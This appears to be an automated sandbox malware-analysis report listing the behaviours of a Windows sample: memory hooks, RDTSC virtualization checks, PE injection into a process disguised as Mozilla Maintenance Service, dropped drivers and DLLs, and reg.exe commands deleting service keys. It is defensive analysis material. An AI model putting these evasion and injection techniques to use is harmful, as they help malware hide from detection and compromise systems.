Source: C:\Users\user\Desktop\1.exe	Memory written: PID: 6656 base: 76EBBA30 value: E9 6B 0E E0 89	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Memory written: PID: 6656 base: 77030017 value: E9 7C 8E ED FF	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Memory written: PID: 6656 base: 76F08E90 value: E9 9B 3A DB 89	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Memory written: PID: 6656 base: 75F80005 value: E9 8B 8A ED FF	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Memory written: PID: 6656 base: 75E58A90 value: E9 1B 3D E6 8A	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Memory written: PID: 6656 base: 75F80014 value: E9 1C 02 F0 FF	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Memory written: PID: 6656 base: 75E80230 value: E9 0B C6 E3 8A	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Memory written: PID: 5580 base: 77030005 value: E9 2B BA E8 FF	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Memory written: PID: 5580 base: 76EBBA30 value: E9 6B 0E 6A 89	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Memory written: PID: 5580 base: 77030017 value: E9 7C 8E ED FF	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Memory written: PID: 5580 base: 76F08E90 value: E9 9B 3A 65 89	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Memory written: PID: 5580 base: 75F80005 value: E9 8B 8A ED FF	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Memory written: PID: 5580 base: 75E58A90 value: E9 1B 3D 70 8A	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Memory written: PID: 5580 base: 75F80014 value: E9 1C 02 F0 FF	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Memory written: PID: 5580 base: 75E80230 value: E9 0B C6 6D 8A	Jump to behavior

Source: C:\Users\user\Desktop\1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\1.exe	RDTSC instruction interceptor: First address: 1EECD33 second address: 1EECD39 instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [esp+08h], edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\1.exe	RDTSC instruction interceptor: First address: 1EECD39 second address: 1EECD3E instructions: 0x00000000 rdtsc 0x00000002 mov edi, dword ptr [ebp+08h] 0x00000005 rdtsc
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	RDTSC instruction interceptor: First address: 178CD33 second address: 178CD39 instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [esp+08h], edi 0x00000006 rdtsc
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	RDTSC instruction interceptor: First address: 178CD39 second address: 178CD3E instructions: 0x00000000 rdtsc 0x00000002 mov edi, dword ptr [ebp+08h] 0x00000005 rdtsc
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	RDTSC instruction interceptor: First address: 432A13 second address: 432A13 instructions: 0x00000000 rdtsc 0x00000002 pop ebp 0x00000003 ret 0x00000004 xor edx, edx 0x00000006 mov ecx, 0000003Dh 0x0000000b div ecx 0x0000000d mov eax, dword ptr [ebp-000000B4h] 0x00000013 mov cl, byte ptr [ebp+edx-000000B0h] 0x0000001a mov byte ptr [ebp+eax-70h], cl 0x0000001e jmp 00007F00311D10F7h 0x00000020 mov edx, dword ptr [ebp-000000B4h] 0x00000026 add edx, 01h 0x00000029 mov dword ptr [ebp-000000B4h], edx 0x0000002f mov eax, dword ptr [ebp-000000B4h] 0x00000035 cmp eax, dword ptr [ebp-04h] 0x00000038 jnl 00007F00311D1153h 0x0000003a call 00007F003119E1BFh 0x0000003f push ebp 0x00000040 mov ebp, esp 0x00000042 rdtsc
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	RDTSC instruction interceptor: First address: 6A063F43 second address: 6A063F43 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, eax 0x00000004 mov eax, 4325C53Fh 0x00000009 mul ecx 0x0000000b shr edx, 04h 0x0000000e imul edx, edx, 3Dh 0x00000011 sub ecx, edx 0x00000013 mov cl, byte ptr [esp+ecx+6Ch] 0x00000017 mov byte ptr [esp+esi+08h], cl 0x0000001b inc esi 0x0000001c cmp esi, 05h 0x0000001f jl 00007F0030B79E21h 0x00000021 rdtsc

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Memory allocated: 6F30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Memory allocated: D680000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Memory allocated: DFA0000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Memory allocated: E420000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Window / User API: threadDelayed 9532

Jump to behavior

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\DA3FA8746\50C7CA7B7.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I5F4E5C2742\EC942651\C903fcVWV.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Dropped PE file which has not been started: C:\Windows\F7BE15F.sys	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\HEF768\70ACtrsvy.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\DA15007\8001IF88B.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\5942hcVWR.sys	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I5F4E5C2742\B71793\8541KG870.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I5F4E5C2742\DA6D75BF83C0\A9CDXQRQR.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\FEBDE290\6609QLNJK.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\4CE0zvyEH.sys	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\A633favQv.sys	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\DA15007\A743A4x03.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I5F4E5C2742\A474748937\6528PJMNM.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I5F4E5C2742\G8B0663\7599UTVWP.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\G46A21F683\93DBkmnlf.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\E392A1673\7D853zyts.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I5F4E5C2742\ED90155A\976457BEB.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I5F4E5C2742\CECF542EE32\BA3CXXaVO.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\F141FC6\3E32331dd.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\ECAE159\5C13YSSUW.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\F141FC6\4EE1UTOOM.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\E2E4B6B5\331FPNNPK.exe	Jump to dropped file

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe TID: 5052	Thread sleep time: -128000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe TID: 5052	Thread sleep time: -9532000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1900	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4144	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File opened: C:\Users\user\AppData\Local\Microsoft	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\History\desktop.ini	Jump to behavior

Source: F7BE15F582DD9.exe, 00000002.00000002.4661413714.00000000107CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: llvmtoolsd.exe
Source: 6528PJMNM.dll.2.dr	Binary or memory string: VMware
Source: 6528PJMNM.dll.2.dr	Binary or memory string: vmtoolsd.exe
Source: 6528PJMNM.dll.2.dr	Binary or memory string: //./vmmemctl
Source: F7BE15F582DD9.exe, 00000002.00000002.4661413714.00000000107CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SYSTEM\ControlSet001\Control\VideoVMware
Source: 6528PJMNM.dll.2.dr	Binary or memory string: "SYSTEM\ControlSet001\Control\VideoVMware Physical Disk Helper ServiceVMToolsvmvss
Source: F7BE15F582DD9.exe, 00000002.00000002.4579616746.0000000008CD6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWE
Source: 6528PJMNM.dll.2.dr	Binary or memory string: c:\dg.dllvmtoolsd.exe
Source: 6528PJMNM.dll.2.dr	Binary or memory string: SYSTEM\ControlSet001\Control\VideoVMware Physical Disk Helper Service
Source: F7BE15F582DD9.exe, 00000002.00000002.4579616746.0000000008CD6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4564756671.0000000003D72000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.3694405402.000001BDA8254000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.3693842700.000001BDA2C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: F7BE15F582DD9.exe, 00000002.00000002.4661413714.00000000107CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Physical Disk Helper ServiceVMToolsvmvss
Source: 6528PJMNM.dll.2.dr	Binary or memory string: VMTools
Source: F7BE15F582DD9.exe, 00000002.00000002.4661413714.00000000107CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "SYSTEM\ControlSet001\Control\VideoVMware
Source: 1.exe, 00000000.00000002.2067928186.0000000004803000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\1.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Code function: 2_2_6A04F3F0 _memset,WSACreateEvent,GetCurrentProcessId,WSASocketA,WSAGetLastError,_sprintf,OutputDebugStringA,WSAEventSelect,_malloc,

2_2_6A04F3F0

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\1.exe

Memory allocated: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe base: 400000 protect: page execute and read and write

Jump to behavior

Found driver which could be used to inject code into processes

Source: A633favQv.sys.2.dr	Static PE information: Found potential injection code
Source: F7BE15F.sys.2.dr	Static PE information: Found potential injection code
Source: 4CE0zvyEH.sys.2.dr	Static PE information: Found potential injection code
Source: 5942hcVWR.sys.2.dr	Static PE information: Found potential injection code

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\1.exe

Memory written: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\1.exe	Memory written: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Memory written: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe base: 1ED7000	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Memory written: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe base: 3B4D000	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Memory written: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe base: 3B4E000	Jump to behavior

Source: C:\Users\user\Desktop\1.exe	Process created: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe "C:\Program Files (x86)\mozilla maintenance service\F7BE15F582DD9.exe" WfCSiyl7KCmSL4J0fXwpklp7KYEqfR6S3zx7JntO	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\A633favQv /f	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\4CE0zvyEH /f	Jump to behavior

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Code function: _strcpy_s,GetLocaleInfoA,__snwprintf_s,LoadLibraryA,

2_2_6A0705F9

Source: C:\Users\user\Desktop\1.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\segoeuil.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
